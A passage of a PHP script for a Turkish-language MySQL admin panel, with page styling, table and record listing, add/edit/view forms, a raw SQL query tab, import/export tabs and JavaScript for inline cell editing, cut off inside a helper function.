            border-top: none; 
            background: white; 
        }
        .stats { 
            display: flex; 
            gap: 20px; 
            margin: 20px 0; 
            padding: 15px; 
            background: #f8f9fa; 
            border-radius: 5px; 
        }
        .stat-box { 
            padding: 15px; 
            background: white; 
            border: 1px solid #dee2e6; 
            border-radius: 5px; 
            text-align: center; 
            min-width: 120px; 
        }
        .stat-number { 
            font-size: 24px; 
            font-weight: bold; 
            color: #4CAF50; 
        }
        .stat-label { 
            font-size: 12px; 
            color: #666; 
            margin-top: 5px; 
        }
        .confirm-delete { 
            color: #f44336; 
            font-weight: bold; 
            padding: 5px; 
            background: #ffebee; 
            border-radius: 3px; 
            margin: 10px 0; 
        }
        .bulk-actions { 
            background: #f8f9fa; 
            padding: 15px; 
            border-radius: 5px; 
            margin: 15px 0; 
            border: 1px solid #dee2e6; 
        }
        .sort-indicator { 
            display: inline-block; 
            margin-left: 5px; 
            font-size: 12px; 
        }
        .editable { 
            cursor: pointer; 
            border-bottom: 1px dashed #2196F3; 
        }
        .editable:hover { 
            background: #e3f2fd; 
        }
        .edit-input { 
            padding: 2px; 
            border: 1px solid #2196F3; 
            border-radius: 3px; 
            width: 100%; 
            box-sizing: border-box; 
        }
        .quick-edit-form { 
            background: #f8f9fa; 
            padding: 10px; 
            border: 1px solid #dee2e6; 
            border-radius: 5px; 
            margin: 10px 0; 
        }
        .data-table tr.selected { 
            background-color: #e3f2fd !important; 
        }
        .data-table td.editing { 
            padding: 0; 
            position: relative; 
        }
        .edit-tools { 
            position: absolute; 
            top: 0; 
            right: 0; 
            background: white; 
            border: 1px solid #ddd; 
            border-radius: 3px; 
            padding: 2px; 
            z-index: 100; 
        }
        .edit-tools button { 
            padding: 2px 6px; 
            margin: 0 2px; 
            font-size: 12px; 
            border: none; 
            border-radius: 2px; 
            cursor: pointer; 
        }
        .edit-tools .save-btn { background: #4CAF50; color: white; }
        .edit-tools .cancel-btn { background: #f44336; color: white; }
    </style>
</head>
<body>
    <h1>MySQL Yönetim Paneli</h1>
    
    <div class="menu">
        <a href="?action=list_tables">Tablolar</a>
        <?php if($table): ?>
            <a href="?action=list_data&table=<?php echo urlencode($table); ?>"><?php echo htmlspecialchars($table); ?></a>
            <a href="?action=add&table=<?php echo urlencode($table); ?>" class="secondary">Yeni Kayıt</a>
            <a href="?action=table_info&table=<?php echo urlencode($table); ?>" class="secondary">Tablo Yapısı</a>
            <a href="?export=1&table=<?php echo urlencode($table); ?>" class="secondary">Dışa Aktar</a>
        <?php endif; ?>
        <a href="?action=sql_query" class="secondary">SQL Sorgu</a>
        <a href="?action=import_export" class="secondary">İçe/Dışa Aktar</a>
        <a href="?logout=1" class="logout">Çıkış</a>
    </div>
    
    <?php
    // Hata/Mesaj gösterimi
    if(isset($_GET['msg'])) {
        showSuccess($_GET['msg']);
    }
    
    if(isset($error_msg)) {
        showError($error_msg);
    }
    
    if(isset($sql_msg)) {
        if(mysqli_error($conn)) {
            showError($sql_msg);
        } else {
            showSuccess($sql_msg);
        }
    }
    
    if(isset($import_msg)) {
        if(strpos($import_msg, 'başarılı') !== false) {
            showSuccess($import_msg);
        } else {
            showError($import_msg);
        }
    }
    
    // Bağlantı kontrolü
    if(!$conn) {
        showError('MySQL bağlantı hatası: ' . mysqli_connect_error());
        echo '<p><a href="?logout=1">Bağlantı ayarlarını değiştir</a></p>';
    } else {
        // Ana işlem yönlendirmesi
        switch($action) {
            case 'list_tables':
                echo '<h2>Tablolar</h2>';
                $tables = listTables($conn);
                
                if(count($tables) > 0) {
                    echo '<div class="stats">';
                    echo '<div class="stat-box">';
                    echo '<div class="stat-number">' . count($tables) . '</div>';
                    echo '<div class="stat-label">Toplam Tablo</div>';
                    echo '</div>';
                    echo '</div>';
                    
                    echo '<table>';
                    echo '<tr><th>Tablo Adı</th><th>Kayıt Sayısı</th><th>Boyut</th><th>İşlemler</th></tr>';
                    
                    foreach($tables as $tbl) {
                        $count = countRecords($conn, $tbl);
                        
                        // Tablo boyutunu al
                        $size_result = mysqli_query($conn, "SHOW TABLE STATUS LIKE '$tbl'");
                        $size_row = mysqli_fetch_assoc($size_result);
                        $size = $size_row['Data_length'] + $size_row['Index_length'];
                        $size_formatted = formatBytes($size);
                        
                        echo '<tr>';
                        echo '<td><strong>' . htmlspecialchars($tbl) . '</strong></td>';
                        echo '<td>' . $count . '</td>';
                        echo '<td>' . $size_formatted . '</td>';
                        echo '<td class="action-buttons">';
                        echo '<a href="?action=list_data&table=' . urlencode($tbl) . '" class="view">Görüntüle</a> ';
                        echo '<a href="?action=table_info&table=' . urlencode($tbl) . '" class="edit">Yapı</a> ';
                        echo '<a href="?action=add&table=' . urlencode($tbl) . '" class="edit">Ekle</a> ';
                        echo '<a href="?export=1&table=' . urlencode($tbl) . '" class="edit">Dışa Aktar</a>';
                        echo '</td>';
                        echo '</tr>';
                    }
                    echo '</table>';
                } else {
                    echo '<div class="info">Veritabanında tablo bulunamadı.</div>';
                }
                break;
                
            case 'table_info':
                $table = safe($table, $conn);
                echo '<h2>' . htmlspecialchars($table) . ' Tablo Yapısı</h2>';
                $columns = listColumns($conn, $table);
                
                echo '<table>';
                echo '<tr><th>#</th><th>Alan</th><th>Tür</th><th>NULL</th><th>Anahtar</th><th>Varsayılan</th><th>Ek</th></tr>';
                
                $i = 1;
                foreach($columns as $col) {
                    echo '<tr>';
                    echo '<td>' . $i++ . '</td>';
                    echo '<td><strong>' . htmlspecialchars($col['Field']) . '</strong></td>';
                    echo '<td><code>' . htmlspecialchars($col['Type']) . '</code></td>';
                    echo '<td>' . ($col['Null'] == 'YES' ? 'Evet' : 'Hayır') . '</td>';
                    echo '<td>' . htmlspecialchars($col['Key']) . '</td>';
                    echo '<td>' . ($col['Default'] !== null ? htmlspecialchars($col['Default']) : 'NULL') . '</td>';
                    echo '<td>' . htmlspecialchars($col['Extra']) . '</td>';
                    echo '</tr>';
                }
                echo '</table>';
                
                echo '<div style="margin-top: 20px;">';
                echo '<a href="?action=list_data&table=' . urlencode($table) . '" class="menu a">Verileri Görüntüle</a> ';
                echo '<a href="?action=add&table=' . urlencode($table) . '" class="menu a secondary">Yeni Kayıt Ekle</a>';
                echo '</div>';
                break;
                
            case 'list_data':
                $table = safe($table, $conn);
                $total_records = countRecords($conn, $table);
                $total_pages = ceil($total_records / $limit);
                
                echo '<h2>' . htmlspecialchars($table) . ' Tablosu Verileri</h2>';
                
                echo '<div class="stats">';
                echo '<div class="stat-box">';
                echo '<div class="stat-number">' . $total_records . '</div>';
                echo '<div class="stat-label">Toplam Kayıt</div>';
                echo '</div>';
                echo '<div class="stat-box">';
                echo '<div class="stat-number">' . $page . '/' . $total_pages . '</div>';
                echo '<div class="stat-label">Sayfa</div>';
                echo '</div>';
                echo '</div>';
                
                // Toplu işlemler formu
                echo '<form method="POST" id="bulkForm" onsubmit="return confirm(\'Seçili kayıtları silmek istediğinize emin misiniz?\')">';
                echo '<div class="bulk-actions">';
                echo '<strong>Toplu İşlemler:</strong> ';
                echo '<input type="checkbox" id="selectAll" onchange="toggleSelectAll(this)"> <label for="selectAll">Tümünü Seç</label> ';
                echo '<button type="submit" name="bulk_delete" class="menu a danger" style="padding: 5px 10px; font-size: 14px;">Seçileni Sil</button>';
                echo '</div>';
                
                // Sütun bilgilerini al
                $columns = listColumns($conn, $table);
                
                // Verileri al (sıralama ile)
                $data = listData($conn, $table, $limit, $offset, $order_by, $order_dir);
                
                // Tablo başlıkları
                echo '<table class="data-table">';
                echo '<tr>';
                echo '<th style="width: 30px;">#</th>';
                foreach($columns as $col) {
                    $field = $col['Field'];
                    $sort_indicator = '';
                    if($order_by == $field) {
                        $sort_indicator = ($order_dir == 'ASC') ? ' ↑' : ' ↓';
                        $next_order_dir = ($order_dir == 'ASC') ? 'DESC' : 'ASC';
                    } else {
                        $next_order_dir = 'ASC';
                    }
                    
                    echo '<th>';
                    echo '<a href="?action=list_data&table=' . urlencode($table) . '&order_by=' . urlencode($field) . '&order_dir=' . $next_order_dir . '" style="color: inherit; text-decoration: none;">';
                    echo htmlspecialchars($field);
                    echo '</a>';
                    if($sort_indicator) {
                        echo '<span class="sort-indicator">' . $sort_indicator . '</span>';
                    }
                    echo '</th>';
                }
                echo '<th style="width: 150px;">İşlemler</th>';
                echo '</tr>';
                
                // Veri satırları
                $row_num = $offset + 1;
                foreach($data as $row) {
                    $row_id = isset($row['id']) ? $row['id'] : $row_num;
                    echo '<tr id="row-' . $row_id . '">';
                    echo '<td><input type="checkbox" name="selected_ids[]" value="' . $row_id . '" class="row-checkbox"></td>';
                    
                    foreach($columns as $col) {
                        $field = $col['Field'];
                        $value = isset($row[$field]) ? $row[$field] : '';
                        $display_value = substr($value, 0, 50);
                        
                        // Düzenlenebilir hücre
                        echo '<td class="editable" data-field="' . htmlspecialchars($field) . '" data-id="' . $row_id . '" title="Düzenlemek için tıklayın">';
                        echo '<span class="cell-content">' . htmlspecialchars($display_value);
                        if(strlen($value) > 50) {
                            echo '...';
                        }
                        echo '</span>';
                        echo '</td>';
                    }
                    
                    echo '<td class="action-buttons">';
                    if(isset($row['id'])) {
                        echo '<a href="?action=edit&table=' . urlencode($table) . '&id=' . $row['id'] . '" class="edit">Düzenle</a> ';
                        echo '<a href="?action=view&table=' . urlencode($table) . '&id=' . $row['id'] . '" class="view">Görüntüle</a> ';
                        echo '<a href="#" class="inline-edit" onclick="quickEdit(' . $row['id'] . ')">Hızlı Düzenle</a> ';
                        echo '<a href="?action=list_data&table=' . urlencode($table) . '&delete=1&id=' . $row['id'] . '" class="delete" onclick="return confirm(\'Bu kaydı silmek istediğinize emin misiniz?\')">Sil</a>';
                    }
                    echo '</td>';
                    echo '</tr>';
                    $row_num++;
                }
                echo '</table>';
                
                echo '</form>'; // bulkForm kapat
                
                // Hızlı düzenleme formu (modal yerine inline)
                echo '<div id="quickEditModal" style="display: none; margin: 20px 0; padding: 15px; background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 5px;">';
                echo '<h3>Hızlı Düzenle</h3>';
                echo '<form id="quickEditForm">';
                echo '<input type="hidden" id="editRecordId">';
                echo '<div style="margin-bottom: 10px;">';
                echo '<label for="editField">Alan:</label>';
                echo '<select id="editField" style="width: 200px;">';
                foreach($columns as $col) {
                    if($col['Extra'] != 'auto_increment') {
                        echo '<option value="' . htmlspecialchars($col['Field']) . '">' . htmlspecialchars($col['Field']) . ' (' . htmlspecialchars($col['Type']) . ')</option>';
                    }
                }
                echo '</select>';
                echo '</div>';
                echo '<div style="margin-bottom: 10px;">';
                echo '<label for="editValue">Yeni Değer:</label><br>';
                echo '<textarea id="editValue" rows="3" style="width: 100%;"></textarea>';
                echo '</div>';
                echo '<div>';
                echo '<button type="button" onclick="saveQuickEdit()" style="padding: 8px 15px; background: #4CAF50; color: white; border: none; border-radius: 3px; cursor: pointer;">Kaydet</button>';
                echo '<button type="button" onclick="closeQuickEdit()" style="padding: 8px 15px; background: #666; color: white; border: none; border-radius: 3px; cursor: pointer; margin-left: 10px;">İptal</button>';
                echo '</div>';
                echo '</form>';
                echo '</div>';
                
                // Sayfalama
                if($total_pages > 1) {
                    echo '<div class="pagination">';
                    
                    // Önceki sayfa
                    if($page > 1) {
                        echo '<a href="?action=list_data&table=' . urlencode($table) . '&page=' . ($page - 1) . '&limit=' . $limit . '&order_by=' . urlencode($order_by) . '&order_dir=' . $order_dir . '">&laquo; Önceki</a>';
                    }
                    
                    // Sayfa numaraları
                    $start_page = max(1, $page - 2);
                    $end_page = min($total_pages, $page + 2);
                    
                    for($i = $start_page; $i <= $end_page; $i++) {
                        if($i == $page) {
                            echo '<span class="current">' . $i . '</span>';
                        } else {
                            echo '<a href="?action=list_data&table=' . urlencode($table) . '&page=' . $i . '&limit=' . $limit . '&order_by=' . urlencode($order_by) . '&order_dir=' . $order_dir . '">' . $i . '</a>';
                        }
                    }
                    
                    // Sonraki sayfa
                    if($page < $total_pages) {
                        echo '<a href="?action=list_data&table=' . urlencode($table) . '&page=' . ($page + 1) . '&limit=' . $limit . '&order_by=' . urlencode($order_by) . '&order_dir=' . $order_dir . '">Sonraki &raquo;</a>';
                    }
                    
                    // Limit seçimi
                    echo '<div style="margin-top: 10px;">';
                    echo 'Sayfa başına kayıt: ';
                    echo '<select onchange="window.location.href=\'?action=list_data&table=' . urlencode($table) . '&page=1&limit=\' + this.value + \'&order_by=' . urlencode($order_by) . '&order_dir=' . $order_dir . '\'">';
                    $limits = array(10, 25, 50, 100, 200);
                    foreach($limits as $l) {
                        echo '<option value="' . $l . '"' . ($limit == $l ? ' selected' : '') . '>' . $l . '</option>';
                    }
                    echo '</select>';
                    echo '</div>';
                    
                    echo '</div>';
                }
                
                echo '<div style="margin-top: 20px;">';
                echo '<a href="?action=add&table=' . urlencode($table) . '" class="menu a">Yeni Kayıt Ekle</a> ';
                echo '<a href="?action=table_info&table=' . urlencode($table) . '" class="menu a secondary">Tablo Yapısı</a> ';
                echo '<a href="?export=1&table=' . urlencode($table) . '" class="menu a secondary">Dışa Aktar</a>';
                echo '</div>';
                break;
                
            case 'add':
                $table = safe($table, $conn);
                echo '<h2>Yeni Kayıt Ekle - ' . htmlspecialchars($table) . '</h2>';
                
                if($_SERVER['REQUEST_METHOD'] == 'POST') {
                    // Ekleme işlemi
                    $insertData = $_POST;
                    unset($insertData['submit']);
                    
                    if(insertRecord($conn, $table, $insertData)) {
                        $new_id = mysqli_insert_id($conn);
                        header('Location: ?action=list_data&table=' . urlencode($table) . '&msg=Kayıt+başarıyla+eklendi');
                        exit;
                    } else {
                        showError('Ekleme hatası: ' . mysqli_error($conn));
                    }
                }
                
                // Sütun bilgilerini al
                $columns = listColumns($conn, $table);
                
                // Ekleme formu
                echo '<form method="POST">';
                foreach($columns as $col) {
                    if($col['Extra'] == 'auto_increment') {
                        continue; // Auto increment alanları atla
                    }
                    
                    echo '<div style="margin-bottom: 15px;">';
                    echo '<label><strong>' . htmlspecialchars($col['Field']) . '</strong>';
                    
                    // Zorunlu alan kontrolü
                    if($col['Null'] == 'NO' && $col['Default'] === null) {
                        echo ' <span style="color: red;">*</span>';
                    }
                    
                    echo '</label><br>';
                    
                    // Alan türüne göre input tipi
                    $field_type = strtolower($col['Type']);
                    $field_name = $col['Field'];
                    
                    if(strpos($field_type, 'text') !== false || strpos($field_type, 'longtext') !== false) {
                        echo '<textarea name="' . htmlspecialchars($field_name) . '" rows="6" style="width: 80%;"' . ($col['Null'] == 'NO' ? ' required' : '') . '></textarea>';
                    } elseif(strpos($field_type, 'int') !== false || strpos($field_type, 'decimal') !== false || strpos($field_type, 'float') !== false) {
                        echo '<input type="number" name="' . htmlspecialchars($field_name) . '" style="width: 300px;"' . ($col['Null'] == 'NO' ? ' required' : '') . '>';
                    } elseif(strpos($field_type, 'date') !== false || strpos($field_type, 'time') !== false) {
                        echo '<input type="datetime-local" name="' . htmlspecialchars($field_name) . '" style="width: 300px;"' . ($col['Null'] == 'NO' ? ' required' : '') . '>';
                    } elseif(strpos($field_type, 'enum') !== false) {
                        // ENUM değerlerini parse et
                        preg_match_all("/'([^']+)'/", $field_type, $matches);
                        echo '<select name="' . htmlspecialchars($field_name) . '" style="width: 300px;"' . ($col['Null'] == 'NO' ? ' required' : '') . '>';
                        echo '<option value="">Seçiniz</option>';
                        foreach($matches[1] as $option) {
                            echo '<option value="' . htmlspecialchars($option) . '">' . htmlspecialchars($option) . '</option>';
                        }
                        echo '</select>';
                    } else {
                        echo '<input type="text" name="' . htmlspecialchars($field_name) . '" style="width: 300px;"' . ($col['Null'] == 'NO' ? ' required' : '') . '>';
                    }
                    
                    // Varsayılan değer
                    if($col['Default'] !== null) {
                        echo '<div style="font-size: 12px; color: #666;">Varsayılan: ' . htmlspecialchars($col['Default']) . '</div>';
                    }
                    
                    echo '</div>';
                }
                
                echo '<div>';
                echo '<input type="submit" name="submit" value="Kaydet" style="padding: 10px 20px; background: #4CAF50; color: white; border: none; border-radius: 5px; cursor: pointer;">';
                echo ' <a href="?action=list_data&table=' . urlencode($table) . '" style="padding: 10px 20px; background: #666; color: white; text-decoration: none; border-radius: 5px;">İptal</a>';
                echo '</div>';
                echo '</form>';
                break;
                
            case 'edit':
                $table = safe($table, $conn);
                echo '<h2>Kayıt Düzenle - ' . htmlspecialchars($table) . '</h2>';
                
                if($_SERVER['REQUEST_METHOD'] == 'POST') {
                    // Güncelleme işlemi
                    $updateData = $_POST;
                    unset($updateData['submit']);
                    
                    if(updateRecord($conn, $table, $updateData, $id)) {
                        header('Location: ?action=list_data&table=' . urlencode($table) . '&msg=Kayıt+güncellendi');
                        exit;
                    } else {
                        showError('Güncelleme hatası: ' . mysqli_error($conn));
                    }
                }
                
                // Kayıt bilgilerini getir
                $record = getRecord($conn, $table, $id);
                if(!$record) {
                    showError('Kayıt bulunamadı!');
                    break;
                }
                
                // Düzenleme formu
                echo '<form method="POST">';
                foreach($record as $key => $value) {
                    echo '<div style="margin-bottom: 15px;">';
                    echo '<label><strong>' . htmlspecialchars($key) . '</strong></label><br>';
                    
                    // Büyük metin alanları için textarea
                    if(strlen($value) > 100 || in_array(strtolower($key), array('description', 'content', 'text', 'body', 'html', 'message'))) {
                        echo '<textarea name="' . htmlspecialchars($key) . '" rows="6" style="width: 80%;">' . htmlspecialchars($value) . '</textarea>';
                    } else {
                        echo '<input type="text" name="' . htmlspecialchars($key) . '" value="' . htmlspecialchars($value) . '" style="width: 300px;">';
                    }
                    echo '</div>';
                }
                echo '<div>';
                echo '<input type="submit" name="submit" value="Güncelle" style="padding: 10px 20px; background: #4CAF50; color: white; border: none; border-radius: 5px; cursor: pointer;">';
                echo ' <a href="?action=list_data&table=' . urlencode($table) . '" style="padding: 10px 20px; background: #666; color: white; text-decoration: none; border-radius: 5px;">İptal</a>';
                echo '</div>';
                echo '</form>';
                break;
                
            case 'view':
                $table = safe($table, $conn);
                echo '<h2>Kayıt Detayı - ' . htmlspecialchars($table) . '</h2>';
                
                // Kayıt bilgilerini getir
                $record = getRecord($conn, $table, $id);
                if(!$record) {
                    showError('Kayıt bulunamadı!');
                    break;
                }
                
                echo '<table>';
                foreach($record as $key => $value) {
                    echo '<tr>';
                    echo '<th style="width: 200px;">' . htmlspecialchars($key) . '</th>';
                    
                    // Büyük metinler için scrollable alan
                    if(strlen($value) > 200) {
                        echo '<td><div style="max-height: 200px; overflow-y: auto; padding: 5px; background: #f8f8f8; border: 1px solid #ddd; border-radius: 3px;">';
                        echo nl2br(htmlspecialchars($value));
                        echo '</div></td>';
                    } else {
                        echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                    }
                    echo '</tr>';
                }
                echo '</table>';
                
                echo '<div style="margin-top: 20px;">';
                echo '<a href="?action=edit&table=' . urlencode($table) . '&id=' . $id . '" class="menu a">Düzenle</a> ';
                echo '<a href="?action=list_data&table=' . urlencode($table) . '" class="menu a secondary">Listeye Dön</a>';
                echo '</div>';
                break;
                
            case 'sql_query':
                echo '<h2>SQL Sorgu Çalıştır</h2>';
                ?>
                
                <div class="tab-container">
                    <div class="tab-buttons">
                        <div class="tab-button active" onclick="switchTab('query')">SQL Sorgusu</div>
                        <div class="tab-button" onclick="switchTab('history')">Sorgu Geçmişi</div>
                        <div class="tab-button" onclick="switchTab('templates')">Şablonlar</div>
                    </div>
                    <div class="tab-content" id="query-tab">
                        <form method="POST">
                            <textarea name="sql_query" class="sql-query" placeholder="SELECT * FROM tablo_adi LIMIT 10"><?php echo isset($_POST['sql_query']) ? htmlspecialchars($_POST['sql_query']) : ''; ?></textarea>
                            <br>
                            <button type="submit" name="execute_sql" style="padding: 10px 20px; background: #4CAF50; color: white; border: none; border-radius: 5px; cursor: pointer;">Sorguyu Çalıştır</button>
                        </form>
                        
                        <?php
                        // Sorgu sonuçlarını göster
                        if(isset($_POST['execute_sql']) && isset($result) && $result && !is_bool($result)) {
                            echo '<h3>Sorgu Sonuçları</h3>';
                            
                            // Sorgu türünü kontrol et
                            if(mysqli_num_fields($result) > 0) {
                                // SELECT sorgusu sonuçları
                                echo '<table>';
                                echo '<tr>';
                                
                                // Sütun başlıkları
                                while($field = mysqli_fetch_field($result)) {
                                    echo '<th>' . htmlspecialchars($field->name) . '</th>';
                                }
                                echo '</tr>';
                                
                                // Satırlar
                                while($row = mysqli_fetch_assoc($result)) {
                                    echo '<tr>';
                                    foreach($row as $value) {
                                        echo '<td>' . htmlspecialchars(substr($value, 0, 100)) . (strlen($value) > 100 ? '...' : '') . '</td>';
                                    }
                                    echo '</tr>';
                                }
                                echo '</table>';
                                
                                echo '<div class="info">Toplam ' . mysqli_num_rows($result) . ' kayıt bulundu.</div>';
                            }
                        }
                        ?>
                    </div>
                </div>
                
                <script>
                function switchTab(tabName) {
                    // Tüm tab butonlarından active classını kaldır
                    document.querySelectorAll('.tab-button').forEach(button => {
                        button.classList.remove('active');
                    });
                    
                    // Tıklanan butona active classını ekle
                    event.target.classList.add('active');
                    
                    // Tab içeriklerini gizle
                    document.querySelectorAll('.tab-content').forEach(content => {
                        content.style.display = 'none';
                    });
                    
                    // İlgili tab içeriğini göster
                    document.getElementById(tabName + '-tab').style.display = 'block';
                }
                </script>
                <?php
                break;
                
            case 'import_export':
                echo '<h2>Veri İçe/Dışa Aktar</h2>';
                ?>
                
                <div class="tab-container">
                    <div class="tab-buttons">
                        <div class="tab-button active" onclick="switchTab('import')">SQL Dosyası İçe Aktar</div>
                        <div class="tab-button" onclick="switchTab('export')">Veritabanını Dışa Aktar</div>
                    </div>
                    <div class="tab-content" id="import-tab">
                        <h3>SQL Dosyası Yükle</h3>
                        <form method="POST" enctype="multipart/form-data">
                            <div style="margin: 20px 0;">
                                <label><strong>SQL Dosyası Seçin:</strong></label><br>
                                <input type="file" name="sql_file" accept=".sql,.txt" required>
                            </div>
                            
                            <div class="info">
                                <strong>Not:</strong> SQL dosyası maksimum 10MB boyutunda olmalıdır.<br>
                                Dosya UTF-8 kodlamalı ve geçerli SQL komutları içermelidir.
                            </div>
                            
                            <div style="margin: 20px 0;">
                                <button type="submit" name="import_sql" style="padding: 10px 20px; background: #4CAF50; color: white; border: none; border-radius: 5px; cursor: pointer;">Dosyayı İçe Aktar</button>
                            </div>
                        </form>
                    </div>
                    <div class="tab-content" id="export-tab" style="display: none;">
                        <h3>Veritabanını Dışa Aktar</h3>
                        <div class="info">
                            <strong>Seçenekler:</strong>
                            <ul>
                                <li>Tüm veritabanını SQL formatında dışa aktar</li>
                                <li>Tekil tabloları dışa aktar (tablo listesinden)</li>
                                <li>CSV formatında dışa aktar (yakında)</li>
                            </ul>
                        </div>
                        
                        <h4>Tablo Seçerek Dışa Aktar</h4>
                        <ul>
                            <?php
                            $tables = listTables($conn);
                            foreach($tables as $tbl) {
                                echo '<li>' . htmlspecialchars($tbl) . ' - ';
                                echo '<a href="?export=1&table=' . urlencode($tbl) . '">SQL olarak indir</a>';
                                echo '</li>';
                            }
                            ?>
                        </ul>
                    </div>
                </div>
                
                <script>
                function switchTab(tabName) {
                    // Tüm tab butonlarından active classını kaldır
                    document.querySelectorAll('.tab-button').forEach(button => {
                        button.classList.remove('active');
                    });
                    
                    // Tıklanan butona active classını ekle
                    event.target.classList.add('active');
                    
                    // Tab içeriklerini gizle
                    document.querySelectorAll('.tab-content').forEach(content => {
                        content.style.display = 'none';
                    });
                    
                    // İlgili tab içeriğini göster
                    document.getElementById(tabName + '-tab').style.display = 'block';
                }
                </script>
                <?php
                break;
                
            default:
                echo '<div class="info">Lütfen soldaki menüden bir işlem seçin.</div>';
        }
    }
    ?>
    
    <div class="connection-info">
        <strong>Bağlantı Bilgileri:</strong><br>
        Sunucu: <?php echo htmlspecialchars($_SESSION['mysql_host']); ?> | 
        Kullanıcı: <?php echo htmlspecialchars($_SESSION['mysql_user']); ?> | 
        Veritabanı: <?php echo htmlspecialchars($_SESSION['mysql_db']); ?><br>
        <?php if($conn): ?>
            <strong>Bağlantı Durumu:</strong> <?php echo mysqli_get_host_info($conn); ?> | 
            <strong>MySQL Versiyon:</strong> <?php echo mysqli_get_server_info($conn); ?> |
            <strong>Karakter Seti:</strong> <?php echo mysqli_character_set_name($conn); ?>
        <?php endif; ?>
    </div>
    
    <script>
    // Silme işlemi onayı
    function confirmDelete() {
        return confirm('Bu kaydı silmek istediğinize emin misiniz? Bu işlem geri alınamaz!');
    }
    
    // Tümünü seç fonksiyonu
    function toggleSelectAll(checkbox) {
        var checkboxes = document.querySelectorAll('.row-checkbox');
        checkboxes.forEach(function(cb) {
            cb.checked = checkbox.checked;
        });
    }
    
    // Satır seçimi
    document.addEventListener('DOMContentLoaded', function() {
        var rows = document.querySelectorAll('.data-table tr');
        rows.forEach(function(row, index) {
            if(index > 0) { // Başlık satırını atla
                row.addEventListener('click', function(e) {
                    if(e.target.type !== 'checkbox') {
                        this.classList.toggle('selected');
                    }
                });
            }
        });
    });
    
    // Hızlı düzenleme fonksiyonu
    function quickEdit(recordId) {
        document.getElementById('editRecordId').value = recordId;
        document.getElementById('quickEditModal').style.display = 'block';
        document.getElementById('quickEditModal').scrollIntoView({behavior: 'smooth'});
    }
    
    function closeQuickEdit() {
        document.getElementById('quickEditModal').style.display = 'none';
        document.getElementById('editValue').value = '';
    }
    
    function saveQuickEdit() {
        var recordId = document.getElementById('editRecordId').value;
        var field = document.getElementById('editField').value;
        var value = document.getElementById('editValue').value;
        
        if(!recordId || !field) {
            alert('Lütfen tüm alanları doldurun.');
            return;
        }
        
        var formData = new FormData();
        formData.append('quick_edit', '1');
        formData.append('record_id', recordId);
        formData.append('field', field);
        formData.append('value', value);
        
        fetch('', {
            method: 'POST',
            body: formData
        })
        .then(response => response.json())
        .then(data => {
            if(data.success) {
                alert('Kayıt başarıyla güncellendi.');
                location.reload();
            } else {
                alert('Hata: ' + data.message);
            }
        })
        .catch(error => {
            alert('İşlem sırasında hata oluştu: ' + error);
        });
    }
    
    // İnline düzenleme
    document.addEventListener('DOMContentLoaded', function() {
        var editableCells = document.querySelectorAll('.editable');
        
        editableCells.forEach(function(cell) {
            cell.addEventListener('click', function(e) {
                if(e.target.tagName === 'INPUT' || e.target.tagName === 'TEXTAREA' || 
                   e.target.tagName === 'BUTTON' || e.target.tagName === 'SELECT') {
                    return;
                }
                
                // Mevcut bir düzenleme varsa iptal et
                var existingEdit = document.querySelector('.editing');
                if(existingEdit) {
                    cancelEdit(existingEdit);
                }
                
                startEdit(this);
            });
        });
    });
    
    function startEdit(cell) {
        var content = cell.querySelector('.cell-content');
        var originalValue = content.textContent.trim();
        var field = cell.getAttribute('data-field');
        var recordId = cell.getAttribute('data-id');
        
        // Hücreyi düzenleme moduna al
        cell.classList.add('editing');
        content.style.display = 'none';
        
        // Input oluştur
        var input;
        if(field.toLowerCase().includes('text') || originalValue.length > 100) {
            input = document.createElement('textarea');
            input.rows = 4;
            input.style.width = '100%';
            input.style.boxSizing = 'border-box';
        } else {
            input = document.createElement('input');
            input.type = 'text';
            input.style.width = '100%';
            input.style.boxSizing = 'border-box';
        }
        
        input.className = 'edit-input';
        input.value = originalValue;
        
        // Araç çubuğu oluştur
        var tools = document.createElement('div');
        tools.className = 'edit-tools';
        
        var saveBtn = document.createElement('button');
        saveBtn.textContent = '✓';
        saveBtn.className = 'save-btn';
        saveBtn.onclick = function() { saveEdit(cell, field, recordId, input.value); };
        
        var cancelBtn = document.createElement('button');
        cancelBtn.textContent = '✗';
        cancelBtn.className = 'cancel-btn';
        cancelBtn.onclick = function() { cancelEdit(cell); };
        
        tools.appendChild(saveBtn);
        tools.appendChild(cancelBtn);
        
        // Temizle ve ekle
        while(cell.firstChild) {
            cell.removeChild(cell.firstChild);
        }
        
        cell.appendChild(input);
        cell.appendChild(tools);
        
        // Input'a focus ver
        input.focus();
        input.select();
    }
    
    function cancelEdit(cell) {
        var content = document.createElement('span');
        content.className = 'cell-content';
        content.textContent = cell.querySelector('input, textarea').value;
        
        while(cell.firstChild) {
            cell.removeChild(cell.firstChild);
        }
        
        cell.appendChild(content);
        cell.classList.remove('editing');
    }
    
    function saveEdit(cell, field, recordId, newValue) {
        var formData = new FormData();
        formData.append('quick_edit', '1');
        formData.append('record_id', recordId);
        formData.append('field', field);
        formData.append('value', newValue);
        
        fetch('', {
            method: 'POST',
            body: formData
        })
        .then(response => response.json())
        .then(data => {
            if(data.success) {
                // Başarılıysa hücreyi güncelle
                var content = document.createElement('span');
                content.className = 'cell-content';
                content.textContent = newValue;
                
                while(cell.firstChild) {
                    cell.removeChild(cell.firstChild);
                }
                
                cell.appendChild(content);
                cell.classList.remove('editing');
                
                // Küçük bir başarı mesajı göster
                var successMsg = document.createElement('div');
                successMsg.style.cssText = 'position: fixed; top: 20px; right: 20px; background: #4CAF50; color: white; padding: 10px; border-radius: 5px; z-index: 1000;';
                successMsg.textContent = 'Kayıt güncellendi!';
                document.body.appendChild(successMsg);
                
                setTimeout(function() {
                    document.body.removeChild(successMsg);
                }, 2000);
                
            } else {
                alert('Hata: ' + data.message);
                cancelEdit(cell);
            }
        })
        .catch(error => {
            alert('İşlem sırasında hata oluştu: ' + error);
            cancelEdit(cell);
        });
    }
    
    // Tab kontrolü
    function switchTab(tabName) {
        // Tüm tab butonlarından active classını kaldır
        var buttons = document.querySelectorAll('.tab-button');
        buttons.forEach(function(button) {
            button.classList.remove('active');
        });
        
        // Tıklanan butona active classını ekle
        event.target.classList.add('active');
        
        // Tab içeriklerini gizle
        var contents = document.querySelectorAll('.tab-content');
        contents.forEach(function(content) {
            content.style.display = 'none';
        });
        
        // İlgili tab içeriğini göster
        document.getElementById(tabName + '-tab').style.display = 'block';
    }
    </script>
</body>
</html>
<?php
// Bağlantıyı kapat
if(isset($conn) && $conn) {
    mysqli_close($conn);
}

// Byte formatı
function formatBytes($bytes, $precision = 2) {
